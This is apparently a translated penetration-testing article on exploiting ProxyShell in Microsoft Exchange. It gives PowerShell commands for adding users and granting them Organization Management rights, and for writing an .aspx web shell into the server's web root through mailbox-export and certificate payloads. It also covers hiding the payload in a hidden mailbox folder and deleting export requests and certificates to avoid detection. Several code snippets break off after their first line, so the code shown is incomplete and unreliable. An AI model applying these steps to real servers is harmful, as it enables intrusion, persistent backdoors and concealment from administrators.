0x00 Preface
---
This article will introduce the details of adding users and file writing in ProxyShell, analyzing exploitation approaches.
0x01 Introduction
---
This article will cover the following content:
- Methods for adding users
- Methods for file writing
- Exploitation analysis
0x02 Methods for Adding Users
---
When executing PowerShell commands via PyPSRP, adding user operations cannot be performed
This is because passing Password values requires executing the PowerShell command convertto-securestring, which is not supported by Exchange PowerShell Remoting
For solutions, refer to Orange's approach: by invoking local PowerShell to ultimately achieve user addition
References:
https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
Note the following details:
1. Establish a local proxy server using Flask
Code reference:
https://gist.githubusercontent.com/zdi-team/087026b241df18102db699fe4a3d9282/raw/ab4e1ecb6e0234c2e319bc229c71f2f4f70b55d9/P2O-Vancouver-2021-ProxyShell-snippet-7.py
In Python3 environment, change request.headers.iteritems() to request.headers.items()
If encountering load balancing, you can check the returned status code; if it's not 200, resend the data packet
Lines 28-34 can be replaced with the following code:
while True: |
2. Invoke Local PowerShell
Command reference:
https://gist.githubusercontent.com/zdi-team/a2eb014d248e4e54a2ab4ba4ae3ac3cf/raw/af251aefc37a47489f43128832798a210393013a/P2O-Vancouver-2021-ProxyShell-snippet-8.ps1
Before invoking local PowerShell commands, the system requires the following configurations:
(1) Set network location
Do not select Public network; choose Home network or Work network
(2) Set administrator user password
Ensure the administrator user has a password set
(3) Enable WinRM service
winrm quickconfig |
(4) Modify allowunencrypted property
PowerShell command is as follows:
cd WSMan:\localhost\Client |
(5) Set TrustedHosts
PowerShell command is as follows:
Get-Item WSMan:\localhost\Client\TrustedHosts |
After completing the above settings, you can establish a PowerShell session and execute Exchange PowerShell commands
Adding a user operation requires passing a securestring, which can be passed using the -ArgumentList parameter
Example command for adding a user:
$pwd=convertto-securestring Password123 -asplaintext -force; |
Example command for adding an administrator user:
$command = {Add-RoleGroupMember "Organization Management" -Member testuser1 -BypassSecurityGroupManagerCheck} |
0x03 File Writing Methods
---
1. Writing files via New-MailboxExportRequest
New-MailboxExportRequest is used to export emails. For related usage, refer to the previous article "Penetration Basics – Searching and Exporting Emails from Exchange Servers"
When writing files, note the following issues:
(1) Users need to be added to the role group "Mailbox Import Export"
Example command for adding a user to the role group "Mailbox Import Export":
New-ManagementRoleAssignment –Role "Mailbox Import Export" –User Administrator |
Example command for removing a user:
Remove-ManagementRoleAssignment -Identity "Mailbox Import Export-Administrator" -Confirm:$false |
Example command to view users in the role group "Mailbox Import Export":
Get-ManagementRoleAssignment –Role "Mailbox Import Export"|fl user |
(2) Delivering Payload via Email
There are two methods here:
1. Send an email containing the Payload from an external mailbox to the target mailbox
2. Exploit CVE-2021-34473 to impersonate any mailbox user and save the email containing the Payload to a specified folder
For method 2, to improve stealth, you can first create a hidden folder before saving the email containing the Payload. For details, refer to the previous article "Penetration Basics – Hidden Folders in Exchange User Mailboxes"
(3) Writing Files
To accurately write the Payload and avoid unexpected errors, include constraints when writing the email to export only emails containing the Payload
Example command for exporting emails:
New-MailboxexportRequest -mailbox "test1" -ContentFilter {(body -like "payload Flag")} -FilePath ("\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\test.aspx") |
(4) Clearing Export Requests
When executing the New-MailboxexportRequest command for export, the export request records are automatically saved, with a default retention period of 30 days
If you do not want to save the export request, you can add the parameter -CompletedRequestAgeLimit 0
Note: Related operations for export requests
View email export requests:
Get-MailboxExportRequest |
Delete a specific export request:
Remove-MailboxExportRequest -RequestQueue "Mailbox Database 1111111111" -RequestGuid 11111111-1111-1111-1111-111111111111 -Confirm:$false |
Note:
Matching parameters are obtained from the results of Get-MailboxExportRequest|fl
Delete all export requests:
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false |
2. Write to file via New-ExchangeCertificate
New-ExchangeCertificate is used to create and renew self-signed certificates
The earliest public exploitation method is in CVE-2020-17083, reference:
https://srcincite.io/pocs/cve-2020-17083.ps1.txt
(1) Deliver Payload
Pass the payload via the SubjectName parameter, which must comply with specific syntax, reference:
https://docs.microsoft.com/en-us/powershell/module/exchange/new-exchangecertificate?view=exchange-ps
Briefly, the following issues need attention:
- You can use the fixed format: CN=Payload
- Cannot contain these three special characters: , + ;
If you choose Jscript as the Payload, you can first Base64 encode the code to avoid special characters
When writing, if the returned content is Microsoft.Exchange.Data.BinaryFileDataObject, it indicates a successful write
(2) Clear certificates
Example command to read all certificates:
Get-ExchangeCertificate |
Example command to match certificates with specific characteristics:
Get-ExchangeCertificate | Where-Object -Property Subject -like 'CN="<%@*' |
Example command to delete a specific certificate:
Remove-ExchangeCertificate -Thumbprint 1111111111111111111111111111111111111111 -Confirm:$false |
0x04 Summary
---
During the research on ProxyShell, I had many new ideas, which I will share at an appropriate opportunity in the future.